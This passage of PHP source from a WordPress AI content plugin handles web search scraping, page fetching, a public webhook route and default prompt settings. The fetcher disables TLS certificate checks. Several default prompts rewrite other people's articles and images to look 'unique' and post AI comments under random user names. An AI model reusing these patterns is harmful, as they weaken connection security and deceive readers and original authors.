$serpapi .= '&cr=' . urlencode($locale); } else { $serpapi .= '&gl=' . urlencode($locale); } } $html_data = aiomatic_get_web_page($serpapi); if ($html_data !== FALSE) { $json = json_decode($html_data); if ($json !== null) { if(isset($json->organic_results)) { foreach($json->organic_results as $jsx) { if(isset($jsx->title)) { if(!isset( $jsx->snippet)) { $jsx->snippet = ''; } $internet_search[] = array('title' => $jsx->title, 'link' => $jsx->link, 'snippet' => $jsx->snippet); } } } } } } } if(count($internet_search) == 0) { if (isset($aiomatic_Main_Settings['serpapi_auth']) && trim($aiomatic_Main_Settings['serpapi_auth']) != '') { $serpapi = 'https://serpapi.com/search.json?q=' . urlencode($query) . '&api_key=' . trim($aiomatic_Main_Settings['serpapi_auth']); if(!empty($locale)) { if(strstr($locale, 'country') !== false) { $serpapi .= '&cr=' . urlencode($locale); } else { $serpapi .= '&gl=' . urlencode($locale); } } $html_data = aiomatic_get_web_page($serpapi); if ($html_data !== FALSE) { $json = json_decode($html_data); if ($json !== null) { if(isset($json->organic_results)) { foreach($json->organic_results as $jsx) { if(isset($jsx->title)) { if(!isset( $jsx->snippet)) { $jsx->snippet = ''; } $internet_search[] = array('title' => $jsx->title, 'link' => $jsx->link, 'snippet' => $jsx->snippet); } } } } } } } if (count($internet_search) == 0) { $query_arr = explode(',', $query); $query = $query_arr[0]; require_once (dirname(__FILE__) . "/res/Bing.php"); $bing = new AiomaticBing($query, true); if(isset($bing->data)) { foreach($bing->data as $bg) { $internet_search[] = array('title' => $bg['title'], 'link' => $bg['link'], 'snippet' => $bg['description']); } } else { $burl = "https://www.bing.com/search?q=" . urlencode($query); if(!empty($locale)) { if(strstr($locale, 'country') !== false) { $burl .= '&cr=' . urlencode($locale); } else { $burl .= '&gl=' . urlencode($locale); } } $html_data = aiomatic_get_web_page_from_search($burl, ''); if ($html_data !== FALSE) { preg_match_all('#
          • ([\s\S]*?)<\/li>#i', $html_data, $htmlrez); if(isset($htmlrez[1][0])) { preg_match_all('#

            ([\s\S]*?)<\/a><\/h2>[\s\S]*?b_algoSlug">([\s\S]*?)<\/span>#i', $htmlrez[1][0], $titlerez); if(isset($titlerez[1][0])) { for($cnt = 0; $cnt < count($titlerez[1]); $cnt++) { $title = ''; $url = ''; $snippet = ''; if(isset($titlerez[1][$cnt]) && isset($titlerez[2][$cnt]) && isset($titlerez[3][$cnt])) { $url = $titlerez[1][$cnt]; $title = $titlerez[2][$cnt]; $snippet = $titlerez[3][$cnt]; } if($title != '' && $url != '') { $internet_search[] = array('title' => strip_tags($title), 'link' => $url, 'snippet' => $snippet); } } } } } } } if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('Internet results: ' . print_r($internet_search, true)); } return $internet_search; } function aiomatic_get_web_page_from_search($url, $custom_cookie = '') { $content = false; $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); $user_agent = aiomatic_get_random_user_agent(); require_once (dirname(__FILE__) . "/aiomatic-scraper.php"); $html_cont = aiomatic_get_page_Puppeteer($url, $custom_cookie, $user_agent, '1', '', '', '', '', ''); if($html_cont !== false) { return $html_cont; } if(function_exists('curl_version')) { $headers = array( 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language: en-US,en;q=0.5', 'Connection: keep-alive', 'Upgrade-Insecure-Requests: 1', ); $ch = curl_init(); if ($ch === FALSE) { aiomatic_log_to_file('curl not inited: ' . $url); $allowUrlFopen = preg_match('/1|yes|on|true/i', ini_get('allow_url_fopen')); if ($allowUrlFopen) { global $wp_filesystem; if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){ include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() ); wp_filesystem($creds); } return $wp_filesystem->get_contents($url); } } if($custom_cookie != '') { $headers[] = 'Cookie: ' . $custom_cookie; curl_setopt($ch, CURLOPT_COOKIE , $custom_cookies); } $options = array( CURLOPT_COOKIEJAR => get_temp_dir() . 'aiomaticcookie.txt', CURLOPT_COOKIEFILE => get_temp_dir() . 'aiomaticcookie.txt', CURLOPT_USERAGENT => $user_agent, CURLOPT_ENCODING => 'gzip, deflate', CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_CONNECTTIMEOUT => 10, CURLOPT_TIMEOUT => 300, CURLOPT_MAXREDIRS => 10, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_VERBOSE => true, CURLOPT_URL => $url, CURLOPT_HTTPHEADER => $headers ); if($custom_cookie != '') { unset($options[CURLOPT_COOKIEJAR]); unset($options[CURLOPT_COOKIEFILE]); } if (isset($aiomatic_Main_Settings['proxy_url']) && $aiomatic_Main_Settings['proxy_url'] != '' && $aiomatic_Main_Settings['proxy_url'] != 'disable' && $aiomatic_Main_Settings['proxy_url'] != 'disabled') { $options[CURLOPT_PROXY] = $aiomatic_Main_Settings['proxy_url']; if (isset($aiomatic_Main_Settings['proxy_auth']) && $aiomatic_Main_Settings['proxy_auth'] != '') { $options[CURLOPT_PROXYUSERPWD] = $aiomatic_Main_Settings['proxy_auth']; } } curl_setopt_array($ch, $options); $content = curl_exec($ch); if($content === false) { aiomatic_log_to_file('Error occured in curl: ' . curl_error($ch) . ', url: ' . $url); $allowUrlFopen = preg_match('/1|yes|on|true/i', ini_get('allow_url_fopen')); if ($allowUrlFopen) { global $wp_filesystem; if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){ include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() ); wp_filesystem($creds); } return $wp_filesystem->get_contents($url); } } curl_close($ch); } return $content; } add_action('upgrader_process_complete', 'aiomatic_updatePlugin', 10, 2); function aiomatic_updatePlugin(\WP_Upgrader $upgrader, array $hook_extra) { if (is_array($hook_extra) && array_key_exists('action', $hook_extra) && array_key_exists('type', $hook_extra) && array_key_exists('plugins', $hook_extra)) { if ($hook_extra['action'] == 'update' && $hook_extra['type'] == 'plugin' && is_array($hook_extra['plugins']) && !empty($hook_extra['plugins'])) { $this_plugin = plugin_basename(__FILE__); foreach ($hook_extra['plugins'] as $key => $plugin) { if ($this_plugin == $plugin) { $this_plugin_updated = true; break; } } unset($key, $plugin, $this_plugin); if (isset($this_plugin_updated) && $this_plugin_updated === true) { require_once( ABSPATH . 'wp-admin/includes/upgrade.php' ); global $wpdb; global $charset_collate; aiomatict_register_aggregated_feed_table(); $sql_create_table = "CREATE TABLE IF NOT EXISTS {$wpdb->aiomatict_shortcode_rez} ( post_id bigint(20) unsigned NOT NULL auto_increment, post_hash text default '', post_result text default '', PRIMARY KEY (post_id) ) $charset_collate; "; dbDelta( $sql_create_table ); } } } } add_action( 'rest_api_init', function () { register_rest_route( 'omniblock', 'v1/webhook', array( 'methods' => ['GET', 'POST'], 'callback' => 'aiomatic_custom_webhook_setup', 'permission_callback' => '__return_true' ) ); }); function aiomatic_custom_webhook_setup() { $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); $err = array(); if (isset($aiomatic_Main_Settings['aiomatic_enabled']) && $aiomatic_Main_Settings['aiomatic_enabled'] == 'on') { if (isset($aiomatic_Main_Settings['omni_webhook']) && $aiomatic_Main_Settings['omni_webhook'] == 'on') { if (isset($_REQUEST['omniblockid']) && !empty(trim($_REQUEST['omniblockid']))) { require_once (dirname(__FILE__) . "/aiomatic-automation.php"); $cont = 0; $received_api_key = isset($_REQUEST['apikey']) ? $_REQUEST['apikey'] : ''; $omniblockid = isset($_REQUEST['omniblockid']) ? $_REQUEST['omniblockid'] : ''; $id_parts = explode('_', $omniblockid); if(!isset($id_parts[1])) { $err['success'] = false; $err['error'] = 'Incorrect OmniBlock ID submitted in request'; return $err; } if(count($id_parts) > 2) { $err['success'] = false; $err['error'] = 'Incorrect format for OmniBlock IDs'; return $err; } $param = $id_parts[0]; $omniWebhookID = $id_parts[1]; $rules = get_option('aiomatic_omni_list', array()); $found = false; if (!empty($rules)) { $default_block_types = aiomatic_omniblocks_default_block_types(); foreach ($rules as $request => $bundle[]) { if ($cont == $param) { $bundle_values = array_values($bundle); $myValues = $bundle_values[$cont]; $array_my_values = array_values($myValues);for($iji=0;$iji $current_block) { $card_type_found = array(); foreach($default_block_types as $def_card) { if($current_block['type'] == $def_card['id']) { $card_type_found = $def_card; break; } } if(!empty($card_type_found) && $omniWebhookID == $current_block['identifier'] && $current_block['type'] === 'webhook_fire') { if(isset($current_block['parameters']['api_key']) && !empty(trim($current_block['parameters']['api_key']))) { $api_key = $current_block['parameters']['api_key']; if(!isset($_REQUEST['apikey'])) { $err['success'] = false; $err['error'] = 'You need to specify an API key for this request'; return $err; } if($_REQUEST['apikey'] != $api_key) { $err['success'] = false; $err['error'] = 'Invalid API key provided'; return $err; } } $response = json_encode(array('success' => true, 'data' => array('rule_id' => $param, 'omniblock_id' => $omniWebhookID))); if (!headers_sent()) { header('Content-Type: application/json; charset=utf-8'); header('Content-Length: ' . strlen($response)); header('Connection: close'); header('Cache-Control: no-cache, must-revalidate'); header('X-Accel-Buffering: no'); } if (session_id()) { session_write_close(); } while (ob_get_level() > 0) { ob_end_clean(); } if (function_exists('apache_setenv')) { apache_setenv('no-gzip', 1); } ini_set('zlib.output_compression', 0); echo $response; if (ob_get_level() > 0) { ob_flush(); } flush(); if (function_exists('fastcgi_finish_request')) { fastcgi_finish_request(); } $return_me = aiomatic_run_rule($cont, 5, 1, 0, null, '', $omniWebhookID); if($return_me == 'fail') { aiomatic_log_to_file('OmniBlock Webhook rule running failed, rule ID: ' . $param . ' OmniBlock ID: ' . $omniWebhookID); } wp_die(); } } } } $cont = $cont + 1; } if($found == false) { $err['success'] = false; $err['error'] = 'Specified OmniBlock ID not found'; return $err; } } else { $err['success'] = false; $err['error'] = 'No rules found for aiomatic_omni_list!'; return $err; } } else { $err['success'] = false; $err['error'] = 'OmniBlock ID not specified'; return $err; } } else { $err['success'] = false; $err['error'] = 'Webhooks API not enabled'; return $err; } } else { $err['success'] = false; $err['error'] = 'Aiomatic not enabled'; return $err; } } register_activation_hook(__FILE__, 'aiomatic_activation_callback'); function aiomatic_activation_callback($defaults = FALSE) { if (!get_option('aiomatic_posts_per_page') || $defaults === TRUE) { if ($defaults === FALSE) { add_option('aiomatic_posts_per_page', '12'); } else { update_option('aiomatic_posts_per_page', '12'); } } if (!get_option('aiomatic_Main_Settings') || $defaults === TRUE) { $aiomatic_Main_Settings = array( 'aiomatic_enabled' => 'on', 'translate' => 'disabled', 'translate_source' => 'disabled', 'second_translate' => 'disabled', 'bing_region' => '', 'video_cfg_scale' => '', 'cfg_seed' => '', 'motion_bucket_id' => '', 'custom_html2' => '', 'custom_html' => '', 'google_trans_auth' => '', 'deppl_free' => '', 'deepl_auth' => '', 'serpapi_auth' => '', 'valueserp_auth' => '', 'google_search_api' => '', 'google_search_cx' => '', 'yt_app_id' => '', 'copy_locally' => 'on', 'url_image' => '', 'drive_directory' => 'MyImages', 'bucket_name' => '', 'bucket_region' => '', 'wasabi_region' => '', 's3_user' => '', 's3_pass' => '', 'wasabi_directory' => '', 'wasabi_bucket' => '', 'wasabi_region' => '', 'wasabi_pass' => '', 'wasabi_user' => '', 'cloud_directory' => '', 'cloud_account' => '', 'cloud_bucket' => '', 'cloud_pass' => '', 'cloud_user' => '', 'digital_directory' => '', 'digital_endpoint' => '', 'digital_pass' => '', 'digital_user' => '', 'no_img_translate' => '', 'omni_webhook' => '', 'omni_caching' => '', 'dalle_style' => 'vivid', 'midjourney_image_model' => 'fast', 'ai_resize_width' => '', 'disable_compress' => '', 'compress_quality' => '75', 'ai_resize_height' => '', 'ai_resize_quality' => '', 'request_delay' => '', 'player_height' => '', 'player_width' => '', 'improve_yt_kw' => '', 'yt_kw_model' => 'gpt-4o-mini', 'ai_writer_model' => 'gpt-4o-mini', 'writer_assistant_id' => '', 'kw_assistant_id' => '', 'yt_assistant_id' => '', 'ai_writer_title_prompt' => 'Create a captivating and concise SEO title in English for your WordPress %%post_type%%: "%%post_title_idea%%". Boost its search engine visibility with relevant keywords for maximum impact.', 'ai_writer_seo_prompt' => 'Craft an enticing and succinct meta description in English for your WordPress %%post_type%%: "%%post_title_idea%%". Emphasize the notable features and advantages in just 155 characters, incorporating relevant keywords to optimize its SEO performance.', 'ai_writer_content_prompt' => 'Create a captivating and comprehensive English description for your WordPress %%post_type%%: "%%post_title_idea%%". Dive into specific details, highlighting its unique features of this subject, if possible, benefits, and the value it brings. Craft a compelling narrative around the %%post_type%% that captivates the audience. Use HTML for formatting, include unnumbered lists and bold. Writing Style: Creative. Tone: Neutral.', 'ai_writer_excerpt_prompt' => 'Write a captivating and succinct English summary for the WordPress %%post_type%%: "%%post_title_idea%%", accentuating its pivotal features, advantages, and distinctive qualities.', 'ai_writer_tags_prompt' => 'Suggest a series of pertinent keywords in English for your WordPress %%post_type%%: "%%post_title_idea%%". These keywords should be closely connected to the %%post_type%%, optimizing its visibility. Please present the keywords in a comma-separated format without using symbols like -, #, etc.', 'yt_kw_prompt' => 'Using which 2 keywords should I search YouTube, to get the most relevant videos for this text? Provide a single variant, write only the 2 keywords, nothing else. Don\'t act as a virtual assistant, reply only with the keywords, as they will be used automatically for search. The text is: "%%aiomatic_query%%"', 'sentence_list' => 'This is one %adjective %noun %sentence_ending This is another %adjective %noun %sentence_ending I %love_it %nouns , because they are %adjective %sentence_ending My %family says this plugin is %adjective %sentence_ending These %nouns are %adjective %sentence_ending', 'sentence_list2' => 'Meet this %adjective %noun %sentence_ending This is the %adjective %noun ever %sentence_ending I %love_it %nouns , because they are the %adjective %sentence_ending My %family says this plugin is very %adjective %sentence_ending These %nouns are quite %adjective %sentence_ending', 'variable_list' => 'adjective_very => %adjective;very %adjective; adjective => clever;interesting;smart;huge;astonishing;unbelievable;nice;adorable;beautiful;elegant;fancy;glamorous;magnificent;helpful;awesome noun_with_adjective => %noun;%adjective %noun noun => plugin;WordPress plugin;item;ingredient;component;constituent;module;add-on;plug-in;addon;extension nouns => plugins;WordPress plugins;items;ingredients;components;constituents;modules;add-ons;plug-ins;addons;extensions love_it => love;adore;like;be mad for;be wild about;be nuts about;be crazy about family => %adjective %family_members;%family_members family_members => grandpa;brother;sister;mom;dad;grandma sentence_ending => .;!;!!', 'auto_clear_logs' => 'No', 'run_after' => '', 'max_len' => '', 'ai_image_size' => '512x512', 'ai_image_model' => 'dalle2', 'back_color' => '#ffffff', 'form_placeholder' => 'AI Result', 'show_advanced' => '', 'show_rich_editor' => '', 'enable_copy' => '', 'enable_download' => '', 'enable_char_count' => '', 'submit_location' => '1', 'submit_align' => '1', 'text_color' => '#000000', 'but_color' => '#424242', 'btext_color' => '#ffffff', 'min_len' => '', 'kw_lang' => 'en_US', 'kw_method' => 'builtin', 'pinecone_index' => '', 'pinecone_namespace' => '', 'qdrant_index' => '', 'qdrant_name' => '', 'pinecone_topk' => '1', 'embeddings_model' => 'text-embedding-ada-002', 'run_before' => '', 'enable_logging' => 'on', 'app_id' => '', 'stability_app_id' => '', 'midjourney_app_id' => '', 'headlessbrowserapi_key' => '', 'phantom_path' => '', 'phantom_timeout' => '', 'multi_separator' => '', 'azure_endpoint' => '', 'app_id_claude' => '', 'openai_organization' => '', 'app_id_google' => '', 'app_id_openrouter' => '', 'app_id_huggingface' => '', 'ollama_url' => '', 'app_id_perplexity' => '', 'multiple_key' => '', 'api_selector' => 'openai', 'pinecone_app_id' => '', 'embeddings_api' => 'pinecone', 'qdrant_app_id' => '', 'elevenlabs_app_id' => '', 'google_app_id' => '', 'did_app_id' => '', 'steps' => '50', 'cfg_scale' => '7', 'clip_guidance_preset' => 'NONE', 'clip_style_preset' => 'NONE', 'stable_model' => AIOMATIC_STABLE_DEFAULT_MODE, 'sampler' => 'auto', 'enable_detailed_logging' => '', 'rule_timeout' => '36000', 'kws_case' => '', 'no_new_tab_kw' => '', 'kw_skip_ids' => '', 'partial_kws' => '', 'email_address' => '', 'send_email' => '', 'best_password' => '', 'best_user' => '', 'improve_keywords' => 'openai', 'image_pool' => '4', 'random_image_sources' => '', 'random_results_order' => '', 'image_query_translate_en' => '', 'kw_prompt' => 'Extract a comma-separated list of the most relevant keywords from the text, prioritizing specific references over general keywords. Add the highest priority to the most specific keyword that is still related to the main topic. The text is: %%content%%.', 'kw_model' => 'gpt-4o-mini', 'keyword_model' => 'gpt-4o-mini', 'internet_model' => 'gpt-4o-mini', 'assistant_model' => 'gpt-4o-mini', 'aicontent_model' => 'gpt-4o-mini', 'comment_model' => 'gpt-4o-mini', 'tax_description_model' => 'gpt-4o-mini', 'keyword_assistant_id' => '', 'tax_assistant_id' => '', 'aicontent_assistant_id' => '', 'internet_assistant_id' => '', 'wizard_assistant_id' => '', 'comment_assistant_id' => '', 'enable_wpcli' => '', 'rest_api_init' => '', 'rest_api_keys' => '', 'comment_prompt' => 'Write a reply for %%username%%\'s comment on the post titled "%%post_title%%". The user\'s comment is: %%comment%%', 'tax_description_prompt' => 'Craft an SEO-optimized description for a WordPress %%term_taxonomy_name%% titled "%%term_name%%." Ensure that the description not only provides an informative summary but also incorporates relevant keywords and phrases to enhance search engine visibility.', 'aicontent_temperature' => '1', 'aicontent_top_p' => '1', 'aicontent_presence_penalty' => '0', 'aicontent_frequency_penalty' => '0', 'tax_description_auto' => array(), 'max_tax_nr' => '1', 'tax_description_manual' => array(), 'tax_seo_auto' => 'off', 'overwite_tax' => '', 'tax_seo_description_model' => 'gpt-4o-mini', 'tax_seo_assistant_id' => '', 'tax_seo_description_prompt' => 'Generate a concise, SEO-friendly description (maximum 50 words) for a WordPress %%term_taxonomy_name%% titled "%%term_name%%." Ensure the description effectively summarizes the term while incorporating relevant keywords to enhance search engine visibility.', 'keyword_prompts' => 'I need to find highly relevant royalty-free images for an article heading, please extract a comma-separated list of the most relevant keywords from the heading, prioritizing specific references over general keywords. Add the highest priority to the most specific keyword that is still related to the main topic. By doing so, you can help me find more appropriate and targeted images for the article heading. The blog post heading title is: "%%post_title%%".', 'spin_lang' => 'English', 'exclude_words' => '', 'spin_text' => 'disabled', 'spin_what' => 'all', 'best_humanize' => '', 'no_title' => '', 'no_html_check' => 'on', 'protect_html' => 'on', 'swear_filter' => '', 'no_undetectibility' => '', 'no_media_library' => '', 'clear_omni' => '', 'no_pre_code_remove' => '', 'no_omni_shortcode_render' => '', 'ai_seed' => '', 'apiKey' => '', 'resize_height' => '', 'resize_width' => '', 'resize_quality' => '', 'morguefile_api' => '', 'morguefile_secret' => '', 'pexels_api' => '', 'flickr_api' => '', 'flickr_license' => '', 'flickr_order' => '', 'pixabay_api' => '', 'imgtype' => '', 'img_order' => '', 'img_cat' => '', 'img_width' => '', 'img_mwidth' => '', 'img_ss' => '', 'img_editor' => '', 'img_language' => '', 'unsplash_api' => 'on', 'google_images' => 'on', 'pixabay_scrape' => 'on', 'scrapeimgtype' => '', 'scrapeimg_orientation' => '', 'scrapeimg_order' => '', 'scrapeimg_cat' => '', 'scrapeimg_width' => '', 'scrapeimg_height' => '', 'attr_text' => '', 'textrazor_key' => '', 'neuron_key' => '', 'neuron_project' => '', 'amazon_app_secret' => '', 'amazon_app_id' => '', 'bimage' => '', 'plagiarism_api' => '', 'no_royalty_skip' => '', 'proxy_url' => '', 'proxy_auth' => '', 'proxy_ai' => '', 'do_not_check_duplicates' => '', 'no_random_titles' => '', 'draft_first' => '', 'global_req_words' => '', 'require_only_one' => '', 'global_ban_words' => '', 'email_notification' => '', 'image_ai_prompt' => 'Choose the most relevant image URL, based on its file name, for the post titled "%%post_title%%." If no matching image is found, select a random one from the list. Respond solely with the URL of the chosen image. The image URL list is: %%image_list%%', 'image_ai_model' => 'gpt-4o-mini', 'img_assistant_id' => '', 'use_image_ai' => '', 'gpt4_context_limit' => '', 'gpt35_context_limit' => '', 'claude_context_limit_200k' => '', 'assist_max_completion_token' => '', 'assist_max_prompt_token' => '', 'claude_context_limit' => '', 'embeddings_related' => '', 'embeddings_forms' => '', 'embeddings_omni' => '', 'embeddings_assistant' => '', 'embeddings_edit_short' => '', 'embeddings_article_short' => '', 'embeddings_chat_short' => '', 'embeddings_edit' => '', 'embeddings_bulk' => '', 'embeddings_bulk_title' => '', 'embeddings_bulk_sections' => '', 'embeddings_bulk_intro' => '', 'embeddings_bulk_content' => '', 'embeddings_bulk_qa' => '', 'embeddings_bulk_outro' => '', 'embeddings_bulk_excerpt' => '', 'embeddings_single' => '', 'internet_related' => '', 'internet_edit_short' => '', 'internet_article_short' => '', 'internet_chat_short' => '', 'internet_edit' => '', 'internet_bulk' => '', 'internet_bulk_title' => '', 'internet_bulk_sections' => '', 'internet_bulk_intro' => '', 'internet_bulk_content' => '', 'internet_bulk_qa' => '', 'internet_bulk_outro' => '', 'internet_bulk_excerpt' => '', 'internet_forms' => '', 'internet_omni' => '', 'internet_assistant' => '', 'results_num' => '3', 'index_types' => array(), 'rewrite_embedding' => '', 'embedding_rw_prompt' => 'Rewrite the given content concisely, preserving its style and information, while ensuring the rewritten text stays within 300 words. Each paragraph should range between 60 to 120 words. Exclude non-textual elements and unnecessary repetition. Conclude with a statement directing readers to find more information at %%post_url%%. If these guidelines cannot be met, send an empty response. The content is as follows: %%post_content%%', 'embedding_rw_model' => 'gpt-4o-mini', 'emb_assistant_id' => '', 'internet_prompt' => 'Web search results: %%web_results%% Current date: %%current_date%% Instructions: Using the provided web search results, write a comprehensive reply to the given query. Make sure to cite results using [[number]] notation after the reference. If the provided search results refer to multiple subjects with the same name, write separate answers for each subject. Query: %%original_query%%', 'internet_single_template' => '[%%result_counter%%]: %%result_title%% %%result_snippet%% URL: %%result_link%%', 'internet_single' => '', 'internet_gl' => '', 'keyword_extractor_prompt' => 'Using which 2 keywords should I search the internet, so I get results related to the following text? Give me only the 2 search keywords, don\'t write anything else. Don\'t act as a virtual assistant, reply only with the keywords, as they will be used automatically for search. The text is: "%%original_prompt%%"?', 'alternate_continue' => '', 'whole_prompt' => 'on', 'external_products' => '', 'continue_prepend' => 'Continue the article from below, add new content to it. Be sure to keep the same writing style, Content should be ready to post, no editing required. Language: English, friendly tone, professional and rich with information related to post title. Add headings in

            format. Do not add texts like "Article written by...". Do not add heading for Introduction. Do not add article title in content. Do not add images in content. Don\'t add a conclusion, nor a summary to the end of the article.', 'continue_append' => '', 'markdown_parse' => 'on', 'nlbr_parse' => 'on', 'no_max' => '', 'no_jobs' => '', 'not_important' => '', 'bing_off' => '', 'ai_off' => '', 'pre_code_off' => '', 'max_retry' => '5', 'max_chat_retry' => '', 'max_timeout' => '', 'rel_search' => array('post_title', 'post_content'), 'ignored_users' => 'admin', 'enable_tracking' => '', 'assistant_placement' => 'below', 'assistant_disable' => '', 'assistant_not_logged' => 'disable', 'assistant_image_size' => '512x512', 'assistant_temperature' => '1', 'assistant_top_p' => '1', 'assistant_ppenalty' => '0', 'assistant_fpenalty' => '0', 'no_content' => '', 'tag_name' => '', 'post_id' => '', 'post_name' => '', 'page_id' => '', 'post_parent' => '', 'post_status' => '', 'type_post' => 'post', 'pagename' => '', 'search_offset' => '', 'search_query' => '', 'meta_name' => '', 'meta_value' => '', 'year' => '', 'month' => '', 'day' => '', 'order' => '', 'orderby' => '', 'featured_image' => 'any', 'max_posts' => '', 'category_name' => '', 'author_id' => '', 'author_name' => '', 'no_twice' => 'on', 'custom_name' => 'aiomatic_published', 'secret_word' => '', 'auto_edit' => 'disabled' ); if ($defaults === FALSE) { add_option('aiomatic_Main_Settings', $aiomatic_Main_Settings); } else { update_option('aiomatic_Main_Settings', $aiomatic_Main_Settings); } } if (!get_option('aiomatic_Spinner_Settings') || $defaults === TRUE) { $aiomatic_Spinner_Settings = array( 'aiomatic_spinning' => '', 'run_background' => '', 'post_posts' => '', 'post_pages' => 'on', 'post_custom' => 'on', 'except_type' => '', 'disabled_categories' => array(), 'disable_tags' => '', 'change_status' => 'no', 'delay_post' => '', 'process_event' => 'publish', 'append_spintax' => 'disabled', 'append_location' => 'content', 'url_image_list' => '', 'ai_featured_image_edit' => '', 'ai_featured_image_edit_content' => '', 'ai_featured_image_engine' => '2', 'ai_featured_image_engine_content' => '2', 'ai_image_command_edit_content' => 'Slightly change the image, making it unique.', 'ai_image_command_edit' => 'Slightly change the image, making it unique.', 'image_strength' => '0.90', 'image_strength_content' => '0.90', 'max_edit_content' => '', 'append_toc' => 'disabled', 'when_toc' => '4', 'max_nr' => '1', 'delay_request' => '', 'title_toc' => 'Table of Contents', 'allow_hide_toc' => 'on', 'hierarchy_toc' => 'on', 'add_numbers_toc' => '', 'float_toc' => 'none', 'color_toc' => 'gray', 'heading_levels1' => 'on', 'heading_levels2' => 'on', 'heading_levels3' => 'on', 'heading_levels4' => 'on', 'heading_levels5' => 'on', 'heading_levels6' => 'on', 'exclude_toc' => '', 'ai_rewriter' => '', 'ai_instruction' => 'Rewrite an HTML article to be 100% unique while keeping its high quality and original meaning. Key instructions: Thoroughly paraphrase, including altering sentence structures and using synonyms; reorganize paragraphs and points for a new perspective; add relevant information like current statistics or examples; replace examples/analogies with new, equivalent ones; create new headings and subheadings that reflect the restructured content; adjust the tone to differ from the original, ensuring coherence and logical structure, and retain any specific SEO keywords. Act as a Content Writer, not as a Virtual Assistant. Return only the content requested, without any additional comments or text. The content provided will be automatically published on my website. The article is below:\n\n', 'ai_instruction_title' => 'Rewrite the article title from below to make it more engaging: ', 'ai_instruction_slug' => 'Rewrite this WordPress post slug, improve it for better SEO, but keep it short: ', 'no_slug' => 'on', 'edit_temperature' => '', 'ai_vision_add' => '', 'preppend_add' => '', 'append_add' => '', 'ai_vision_cat' => '', 'ai_vision_com' => '', 'no_approve' => '', 'ai_vision_seo' => '', 'ai_vision_tag' => '', 'add_custom' => '', 'ai_custom_field' => '', 'ai_custom_tax' => '', 'max_custom' => '', 'skip_inexist_custom' => '', 'custom_assistant_id' => '', 'custom_model' => 'gpt-4o-mini', 'ai_vision_custom' => '', 'ai_vision' => '', 'edit_top_p' => '', 'max_char_chunks' => '', 'max_char' => '', 'no_title' => '', 'rewrite_url' => '', 'edit_model' => 'gpt-4o-mini', 'edit_assistant_id' => '', 'append_assistant_id' => '', 'no_content' => '', 'no_excerpt' => 'on', 'max_slug_len' => '', 'ai_instruction_excerpt' => 'Rewrite the article excerpt from below to make it more engaging while keeping the HTML tags unchanged. Edit only the visible content that is rendered in the HTML and displayed on the front end: ', 'ai_featured_image' => 'disabled', 'ai_featured_image_source' => '1', 'ai_image_command' => 'Generate a high-resolution, visually compelling image that creatively interprets the theme encapsulated by this post title: "%%post_title%%". The image should be versatile enough to fit various niches, from technology and lifestyle to nature and science. It should feature a central, eye-catching element that abstractly represents the topic, surrounded by relevant, subtler motifs that provide context and depth. The composition should be balanced and aesthetically pleasing, with a harmonious color palette that complements the mood of the title. The artwork should be suitable for use as a captivating header image for a blog post.', 'image_size' => '', 'min_char' => '', 'images' => '', 'videos' => '', 'link_juicer_prompt' => 'Generate a comma-separated list of relevant keywords for the post title (for use in the Link Juicer plugin): "%%post_title%%".', 'link_juicer_assistant_id' => '', 'link_juicer_model' => 'gpt-4o-mini', 'ai_vision_link_juicer' => '', 'add_links' => 'disabled', 'link_method' => 'aiomatic', 'max_links' => '3-5', 'link_type' => 'internal', 'link_list' => '', 'link_post_types' => 'post', 'link_nofollow' => '', 'add_cats' => 'disabled', 'max_cats' => '', 'skip_inexist' => '', 'ai_cats' => 'Generate a comma-separated list of relevant categories for the post title: "%%post_title%%". These categories must accurately categorize the article within the broader topics or themes of your blog, aiding in the organization and navigation of your content.', 'cats_model' => 'gpt-4o-mini', 'add_tags' => 'disabled', 'max_tags' => '', 'skip_inexist_tags' => '', 'ai_tags' => 'Generate a comma-separated list of relevant tags for the post title: "%%post_title%%". These tags must accurately reflect the key topics, themes, or keywords associated with the article and help improve its discoverability and organization.', 'tags_model' => 'gpt-4o-mini', 'headings' => '', 'enable_ai_images' => '', 'headings_ai_command' => 'Write %%needed_heading_count%% relevant PAA (People Also Asked) related questions, each on a new line, for the title: %%post_title%%', 'headings_model' => 'gpt-4o-mini', 'headings_assistant_id' => '', 'meta_assistant_id' => '', 'categories_assistant_id' => '', 'tags_assistant_id' => '', 'comments_assistant_id' => '', 'ai_command' => 'Write a comprehensive and SEO-optimized article on the topic of "%%post_title%%". Incorporate relevant keywords naturally throughout the article to enhance search engine visibility. This article must provide valuable information to readers and be well-structured with proper headings, bullet points, and HTML formatting. If needed, you can use WordPress related CSS styling for the article. When applicable, add also HTML tables with WordPress styling (you can use WordPress table classes). If added, table data must be relevant, creative, short and simple. Don\'t add an introductory or a conclusion section to the article. You can add also some other sections, when they fit the article\'s subject, like: benefits and practical tips, case studies, first had experience. Please ensure that the article is at least 1200 words in length and adheres to best SEO practices, including proper header tags (H1, H2, H3), meta title, and meta description. Feel free to use a friendly, conversational tone and make the article as informative and engaging as possible while ensuring it remains factually accurate and well-researched. Act as a Content Writer, not as a Virtual Assistant. Return only the content requested, without any additional comments or text. The content provided will be automatically published on my website.', 'max_seed_tokens' => '', 'max_result_tokens' => '', 'max_continue_tokens' => '', 'max_tokens' => '2048', 'temperature' => '1', 'top_p' => '1', 'presence_penalty' => '0', 'frequency_penalty' => '0', 'model' => 'gpt-4o-mini', 'ai_comments' => 'Write a single comment (don\'t start a new line) for the post title: %%post_title%% Previous comments are: %%previous_comments%% %%comment_author_name%%:', 'star_count' => '5', 'prev_comms' => '5', 'max_comments' => '1-2', 'add_comments' => 'disabled', 'comments_model' => 'gpt-4o-mini', 'user_list' => '%%random_user%%', 'url_list' => '', 'max_time' => '', 'min_time' => '', 'seo_model' => 'gpt-4o-mini', 'seo_max_char' => '', 'seo_copy_excerpt' => '', 'content_text_speech' => 'off', 'did_image' => 